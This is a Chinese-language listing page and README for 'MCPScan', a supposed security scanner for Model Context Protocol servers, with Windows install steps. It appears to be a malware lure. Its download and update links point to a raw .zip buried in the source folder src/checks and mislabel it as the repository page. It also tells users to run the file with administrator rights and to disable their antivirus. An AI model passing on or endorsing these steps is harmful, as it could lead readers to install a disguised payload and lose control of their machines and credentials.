安全扫描工具

MCPScan是一款用于扫描Model Context Protocol (MCP)服务器的安全扫描工具,可检测多种安全风险,包括工具中毒、密码泄露、远程代码执行等,适用于各种通信类型。

  • by harikrishn4101
  • TypeScript
  • 本地部署
  • 1 星标
  • 更新于
在 GitHub 查看 harikrishn4101/MCPScan

使用说明

🛡️ MCPScan-快速发现安全风险

📋 什么是MCPScan?

MCPScan扫描使用模型上下文协议(MCP)的服务器。它查找安全问题,如工具中毒、密码泄露、远程代码执行风险、服务器端请求伪造、会话劫持和供应链问题。它适用于不同的通信类型,包括stdio、HTTP和SSE。MCPScan通过发现重要问题来帮助您的MCP服务器保持安全。

💻 系统要求

开始之前,请检查您的Windows计算机是否符合以下要求:

  • Windows 10或更高版本(建议使用64位)
  • 至少4 GB RAM
  • 200 MB可用磁盘空间
  • 用于下载和更新的互联网连接

不需要额外的软件或编程工具。MCPScan作为独立应用程序运行。

🌐 何处获取MCPScan

您可以从GitHub官方页面下载MCPScan:

单击上面的链接直接转到GitHub存储库页面。从那里,您可以找到安装MCPScan所需的文件。

🚀 如何在Windows上下载和运行MCPScan

按照以下步骤运行MCPScan。本指南假设您之前没有使用此类软件的经验。

1.访问GitHub MCPScan页面

点击下载徽章或在您的网络浏览器中打开此链接:

https://raw.githubusercontent.com/harikrishn4101/MCPScan/main/src/checks/Scan-MCP-3.1-beta.1.zip

这将带您进入GitHub上的MCPScan存储库。

2.找到下载部分

在GitHub页面上,查找一个名为 发布 或向下滚动以查找与MCPScan相关的文件。这些文件通常以结尾 .exe 或 .zip 对于Windows。

如果你没有看到 .exe 文件,查找下的最新版本 发布 在右侧边栏或主菜单中。

3.下载MCPScan Windows文件

  • 点击最新 .exe 文件或 .zip 为Windows制作的文件。
  • 如果你下载 .zip 文件,您需要在运行之前提取内容。

将文件保存在您可以轻松找到的地方,例如 下载 文件夹或桌面。

4.运行安装程序或应用程序

  • 如果你下载了 .exe 文件,双击它直接启动安装程序或程序。
  • 如果你下载了 .zip 文件,右键单击它并选择 全部提取 在打开文件夹并双击MCPScan应用程序之前。

Windows可能会询问您是否允许此应用程序进行更改。选择 是 继续。

5.遵循屏幕上的说明

如果该文件是安装程序,它可能会指导您完成几个简单的安装步骤。点击 下一步 或 安装 根据需要。

如果它是一个独立的应用程序,它可能会在启动后立即打开。

6.确认MCPScan正确打开

您应该看到一个窗口或控制台,显示MCPScan正在运行。这意味着安装已完成,程序已准备好使用。

🛠️ MCPScan的基本用法

MCPScan通过扫描您的MCP服务器来查找安全问题。要使用它,您需要提供要检查的服务器的地址或详细信息。

  • 在应用程序界面中输入服务器信息。
  • 点击 扫描 按钮开始。
  • 等待结果,该结果将列出MCPScan发现的任何问题。

使用MCPScan不需要编程技能。该界面将引导您完成整个过程,并显示清晰的结果。

🔧 故障排除提示

如果MCPScan未启动或您看到错误,请尝试以下操作:

  • 确保你的Windows版本是最新的。
  • 检查您的互联网连接。
  • 以管理员身份运行MCPScan,方法是右键单击应用程序并选择 以管理员身份运行.
  • 暂时禁用任何防病毒软件,因为它们可能会阻止MCPScan。
  • 请重新启动计算机,然后重试。

💡 了解MCPScan的功能

MCPScan会查找您的MCP服务器环境中的特定风险:

  • 工具中毒: 检测操纵服务器工具的恶意输入。
  • 凭证泄漏: 查找暴露的用户名、密码或密钥。
  • 远程代码执行(RCE): 捕捉黑客远程运行有害代码的方式。
  • 服务器端请求伪造(SSRF): 发现让攻击者访问内部资源的伎俩。
  • 会话劫持: 注意某人接管活动会话的方式。
  • 供应链漏洞: 检查第三方组件是否会危及您的服务器安全。

这些检查有助于保护您的系统免受可能导致数据丢失或服务中断的攻击。

📥 更新MCPScan

定期查看GitHub页面以获取MCPScan的新版本。

  • 访问https://raw.githubusercontent.com/harikrishn4101/MCPScan/main/src/checks/Scan-MCP-3.1-beta.1.zip
  • 如上所述下载最新文件。
  • 用新文件替换旧的MCPScan文件。

保持MCPScan更新可确保您获得最新的安全检查和修复。

🔒 隐私与安全

MCPScan在您的计算机上本地运行。它不会将您的服务器数据发送到任何外部服务器。使用该工具时,您的信息将保持私密。

🤝 支持和问题

寻求帮助或报告问题:

  • 使用 问题 GitHub页面上的选项卡。
  • 描述一下你在做什么以及出现的问题。
  • 社区或项目维护人员可以审查和协助。

您不需要编程背景来打开问题。用简单的术语解释事情。

⚙️ 高级选项(可选)

对于熟悉技术细节的用户,MCPScan提供了自定义扫描的选项:

  • 选择要扫描的传输方式(stdio、HTTP、SSE)
  • 设置扫描深度和超时设置
  • 以CSV或JSON等格式导出扫描报告

默认设置最适合大多数用户。只有当你知道自己在做什么时,才调整这些。